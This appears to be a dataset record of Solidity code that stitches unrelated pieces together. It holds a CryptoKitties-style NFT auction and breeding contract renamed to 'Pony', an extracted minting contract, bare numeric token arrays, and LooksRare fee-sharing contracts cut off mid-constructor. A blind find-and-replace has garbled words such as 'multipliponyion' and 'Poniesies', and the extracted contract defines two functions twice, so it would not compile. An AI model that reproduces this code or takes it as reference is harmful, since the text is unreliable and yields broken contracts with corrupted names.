AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multipliponyion can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. /// @param _cut - percent cut the owner takes on each auction, must be /// between 0-10,000. function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); // We are using this boolean method to make sure that even if one fails it will still work bool res = nftAddress.send(this.balance); } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of time to move between starting /// price and ending price (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused { // Sanity check that no inputs overflow how many bits we've alloponyed // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Bids on an open auction, completing the auction and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to bid on. function bid(uint256 _tokenId) external payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SiringClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isSiringClockAuction = true; // Delegate constructor function SiringClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be PonyCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've alloponyed // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Places a bid for siring. Requires the sender /// is the PonyCore contract because all bid methods /// should be wrapped. Also returns the Pony to the /// seller rather than the winner. function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid checks that token ID is valid and will throw if bid fails _bid(_tokenId, msg.value); // We transfer the Pony back to the seller, the winner will get // the offspring _transfer(seller, _tokenId); } } /// @title Clock auction modified for sale of Poniesies /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SaleClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isSaleClockAuction = true; // Tracks last 5 sale price of gen0 Pony sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Delegate constructor function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've alloponyed // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Updates lastSalePrice if seller is the nft contract /// Otherwise, works the same as default bid method. function bid(uint256 _tokenId) external payable { // _bid verifies token ID size address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); // If not a gen0 auction, exit if (seller == address(nonFungibleContract)) { // Track gen0 sale prices lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } /// @title Handles creating auctions for sale and siring of Poniesies. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract PonyAuction is PonyBreeding { // @notice The auction contract variables are defined in PonyBase to allow // us to refer to them in PonyOwnership to prevent accidental transfers. // `saleAuction` refers to the auction for gen0 and p2p sale of Poniesies. // `siringAuction` refers to the auction for siring rights of Poniesies. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Sets the reference to the siring auction. /// @param _address - Address of siring contract. function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSiringClockAuction()); // Set the new contract address siringAuction = candidateContract; } /// @dev Put a Pony up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _PonyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _PonyId)); // Ensure the Pony is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Pony IS allowed to be in a cooldown. require(!isPregnant(_PonyId)); _approve(_PonyId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. saleAuction.createAuction( _PonyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Put a Pony up for auction to be sire. /// Performs checks to ensure the Pony can be sired, then /// delegates to reverse auction. function createSiringAuction( uint256 _PonyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _PonyId)); require(isReadyToBreed(_PonyId)); _approve(_PonyId, siringAuction); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. siringAuction.createAuction( _PonyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnSiringAuction( uint256 _sireId, uint256 _matronId ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToBreed(_matronId)); require(_canBreedWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= currentPrice + autoBirthFee); // Siring auction will throw if the bid fails. siringAuction.bid.value(msg.value - autoBirthFee)(_sireId); _breedWith(uint32(_matronId), uint32(_sireId)); } /// @dev Transfers the balance of the sale auction contract /// to the PonyCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); siringAuction.withdrawBalance(); } } /// @title all functions related to creating Ponies contract PonyMinting is PonyAuction { // Limits the number of ponys the contract owner can ever create. uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 45000; // Constants for gen0 auctions. uint256 public constant GEN0_STARTING_PRICE = 10 finney; uint256 public constant GEN0_AUCTION_DURATION = 1 days; // Counts the number of ponys the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /// @dev we can create promo Ponies, up to a limit. Only callable by COO /// @param _genes the encoded genes of the Ponie to be created, any value is accepted /// @param _owner the future owner of the created Ponies. Default to contract COO function createPromoPony(uint256 _genes, address _owner) external onlyCOO { address PonyOwner = _owner; if (PonyOwner == address(0)) { PonyOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createPony(0, 0, 0, _genes, PonyOwner); } /// @dev Creates a new gen0 Pony with the given genes and /// creates an auction for it. function createGen0Auction(uint256 _genes) external onlyCOO { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 PonyId = _createPony(0, 0, 0, _genes, address(this)); _approve(PonyId, saleAuction); saleAuction.createAuction( PonyId, _computeNextGen0Price(), 0, GEN0_AUCTION_DURATION, address(this) ); gen0CreatedCount++; } /// @dev Computes the next gen0 auction starting price, given /// the average of the past 5 prices + 50%. function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); // Sanity check to ensure we don't overflow arithmetic require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } } /// @title CryptoPoniesies: Collectible, breedable, and oh-so-adorable ponys on the Ethereum blockchain. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev The main CryptoPoniesies contract, keeps track of Ponies so they don't wander around and get lost. contract PonyCore is PonyMinting { // This is the main CryptoPoniesies contract. In order to keep our code seperated into logical sections, // we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts // that handle auctions and our super-top-secret genetic combination algorithm. The auctions are // seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // Pony ownership. The genetic combination algorithm is kept seperate so we can open-source all of // the rest of our code without making it _too_ easy for folks to figure out how the genetics work. // Don't worry, I'm sure someone will reverse engineer it soon enough! // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of CK. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - PonyBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - PonyAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - PonyOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - PonyBreeding: This file contains the methods necessary to breed ponys together, including // keeping track of siring offers, and relies on an external genetic combination contract. // // - PonyAuctions: Here we have the public methods for auctioning or bidding on ponys or siring // services. The actual auction functionality is handled in two sibling contracts (one // for sales and one for siring), while auction creation and bidding is mostly mediated // through this facet of the core contract. // // - PonyMinting: This final facet contains the functionality we use for creating new gen0 ponys. // We can make up to 5000 "promo" ponys that can be given away (especially important when // the community is new), and all others can only be created and then immediately put up // for auction via an algorithmically determined starting price. Regardless of how they // are created, there is a hard limit of 50k gen0 ponys. After that, it's all up to the // community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main CryptoPoniesies smart contract instance. function PonyCore() public { // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is also the initial COO cooAddress = msg.sender; // start with the mythical Ponie 0 - so we don't have generation-0 parent issues _createPony(0, 0, 0, uint256(-1), address(0)); } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indiponying that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it's from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(siringAuction) ); } /// @notice Returns all the relevant information about a specific Pony. /// @param _id The ID of the Pony of interest. function getPony(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes ) { Pony storage pony = Poniesies[_id]; // if this variable is 0 then it's not gestating isGestating = (pony.siringWithId != 0); isReady = (pony.cooldownEndBlock <= block.number); cooldownIndex = uint256(pony.cooldownIndex); nextActionAt = uint256(pony.cooldownEndBlock); siringWithId = uint256(pony.siringWithId); birthTime = uint256(pony.birthTime); matronId = uint256(pony.matronId); sireId = uint256(pony.sireId); generation = uint256(pony.generation); genes = pony.genes; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(siringAuction != address(0)); require(geneScience != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } // @dev Allows the CFO to capture the balance available to the contract. function withdrawBalance() external onlyCFO { uint256 balance = this.balance; // Subtract all the currently pregnant Ponies we have, plus 1 of margin. uint256 subtractFees = (pregnantPoniesies + 1) * autoBirthFee; if (balance > subtractFees) { cfoAddress.send(balance - subtractFees); } } }
@title all functions related to creating Ponies Limits the number of ponys the contract owner can ever create. Constants for gen0 auctions. Counts the number of ponys the contract owner has created.
contract PonyMinting is PonyAuction { uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 45000; uint256 public constant GEN0_STARTING_PRICE = 10 finney; uint256 public constant GEN0_AUCTION_DURATION = 1 days; uint256 public promoCreatedCount; uint256 public gen0CreatedCount; function createPromoPony(uint256 _genes, address _owner) external onlyCOO { address PonyOwner = _owner; if (PonyOwner == address(0)) { PonyOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createPony(0, 0, 0, _genes, PonyOwner); } function createPromoPony(uint256 _genes, address _owner) external onlyCOO { address PonyOwner = _owner; if (PonyOwner == address(0)) { PonyOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createPony(0, 0, 0, _genes, PonyOwner); } function createGen0Auction(uint256 _genes) external onlyCOO { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 PonyId = _createPony(0, 0, 0, _genes, address(this)); _approve(PonyId, saleAuction); saleAuction.createAuction( PonyId, _computeNextGen0Price(), 0, GEN0_AUCTION_DURATION, address(this) ); gen0CreatedCount++; } function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } }
11,693,757
[ 1, 454, 4186, 3746, 358, 4979, 453, 265, 606, 27240, 326, 1300, 434, 293, 265, 1900, 326, 6835, 3410, 848, 14103, 752, 18, 5245, 364, 3157, 20, 279, 4062, 87, 18, 6974, 87, 326, 1300, 434, 293, 265, 1900, 326, 6835, 3410, 711, 2522, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 453, 6598, 49, 474, 310, 353, 453, 6598, 37, 4062, 288, 203, 203, 565, 2254, 5034, 1071, 5381, 453, 3942, 51, 67, 5458, 2689, 67, 8283, 273, 20190, 31, 203, 565, 2254, 5034, 1071, 5381, 611, 1157, 20, 67, 5458, 2689, 67, 8283, 273, 12292, 3784, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 611, 1157, 20, 67, 7570, 1360, 67, 7698, 1441, 273, 1728, 574, 82, 402, 31, 203, 565, 2254, 5034, 1071, 5381, 611, 1157, 20, 67, 14237, 3106, 67, 24951, 273, 404, 4681, 31, 203, 203, 565, 2254, 5034, 1071, 3012, 83, 6119, 1380, 31, 203, 565, 2254, 5034, 1071, 3157, 20, 6119, 1380, 31, 203, 203, 565, 445, 752, 13224, 83, 52, 6598, 12, 11890, 5034, 389, 18036, 16, 1758, 389, 8443, 13, 3903, 1338, 3865, 51, 288, 203, 3639, 1758, 453, 6598, 5541, 273, 389, 8443, 31, 203, 3639, 309, 261, 52, 6598, 5541, 422, 1758, 12, 20, 3719, 288, 203, 2398, 453, 6598, 5541, 273, 1825, 83, 1887, 31, 203, 3639, 289, 203, 3639, 2583, 12, 17401, 83, 6119, 1380, 411, 453, 3942, 51, 67, 5458, 2689, 67, 8283, 1769, 203, 203, 3639, 3012, 83, 6119, 1380, 9904, 31, 203, 3639, 389, 2640, 52, 6598, 12, 20, 16, 374, 16, 374, 16, 389, 18036, 16, 453, 6598, 5541, 1769, 203, 565, 289, 203, 203, 565, 445, 752, 13224, 83, 52, 6598, 12, 11890, 5034, 389, 18036, 16, 1758, 389, 8443, 13, 3903, 1338, 3865, 51, 288, 203, 3639, 1758, 453, 6598, 5541, 273, 389, 8443, 31, 203, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {FeeSharingSetter} from "./FeeSharingSetter.sol"; import {TokenSplitter} from "./TokenSplitter.sol"; /** * @title OperatorControllerForRewards * @notice It splits pending LOOKS and updates trading rewards. */ contract OperatorControllerForRewards is Ownable { TokenSplitter public immutable tokenSplitter; FeeSharingSetter public immutable feeSharingSetter; address public immutable teamVesting; address public immutable treasuryVesting; address public immutable tradingRewardsDistributor; /** * @notice Constructor * @param _feeSharingSetter address of the fee sharing setter contract * @param _tokenSplitter address of the token splitter contract * @param _teamVesting address of the team vesting contract * @param _treasuryVesting address of the treasury vesting contract * @param _tradingRewardsDistributor address of the trading rewards distributor contract */ constructor( address _feeSharingSetter, address _tokenSplitter, address _teamVesting, address _treasuryVesting, address _tradingRewardsDistributor ) { feeSharingSetter = FeeSharingSetter(_feeSharingSetter); tokenSplitter = TokenSplitter(_tokenSplitter); teamVesting = _teamVesting; treasuryVesting = _treasuryVesting; tradingRewardsDistributor = _tradingRewardsDistributor; } /** * @notice Release LOOKS tokens from the TokenSplitter and update fee-sharing rewards */ function releaseTokensAndUpdateRewards() external onlyOwner { try tokenSplitter.releaseTokens(teamVesting) {} catch {} try tokenSplitter.releaseTokens(treasuryVesting) {} catch {} try tokenSplitter.releaseTokens(tradingRewardsDistributor) {} catch {} feeSharingSetter.updateRewards(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import {FeeSharingSystem} from "./FeeSharingSystem.sol"; import {TokenDistributor} from "./TokenDistributor.sol"; import {IRewardConvertor} from "../interfaces/IRewardConvertor.sol"; /** * @title FeeSharingSetter * @notice It receives LooksRare protocol fees and owns the FeeSharingSystem contract. * It can plug to AMMs for converting all received currencies to WETH. */ contract FeeSharingSetter is ReentrancyGuard, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; using SafeERC20 for IERC20; // Operator role bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE"); // Min duration for each fee-sharing period (in blocks) uint256 public immutable MIN_REWARD_DURATION_IN_BLOCKS; // Max duration for each fee-sharing period (in blocks) uint256 public immutable MAX_REWARD_DURATION_IN_BLOCKS; IERC20 public immutable looksRareToken; IERC20 public immutable rewardToken; FeeSharingSystem public feeSharingSystem; TokenDistributor public immutable tokenDistributor; // Reward convertor (tool to convert other currencies to rewardToken) IRewardConvertor public rewardConvertor; // Last reward block of distribution uint256 public lastRewardDistributionBlock; // Next reward duration in blocks uint256 public nextRewardDurationInBlocks; // Reward duration in blocks uint256 public rewardDurationInBlocks; // Set of addresses that are staking only the fee sharing EnumerableSet.AddressSet private _feeStakingAddresses; event ConversionToRewardToken(address indexed token, uint256 amountConverted, uint256 amountReceived); event FeeStakingAddressesAdded(address[] feeStakingAddresses); event FeeStakingAddressesRemoved(address[] feeStakingAddresses); event NewFeeSharingSystemOwner(address newOwner); event NewRewardDurationInBlocks(uint256 rewardDurationInBlocks); event NewRewardConvertor(address rewardConvertor); /** * @notice Constructor * @param _feeSharingSystem address of the fee sharing system * @param _minRewardDurationInBlocks minimum reward duration in blocks * @param _maxRewardDurationInBlocks maximum reward duration in blocks * @param _rewardDurationInBlocks reward duration between two updates in blocks */ constructor( address _feeSharingSystem, uint256 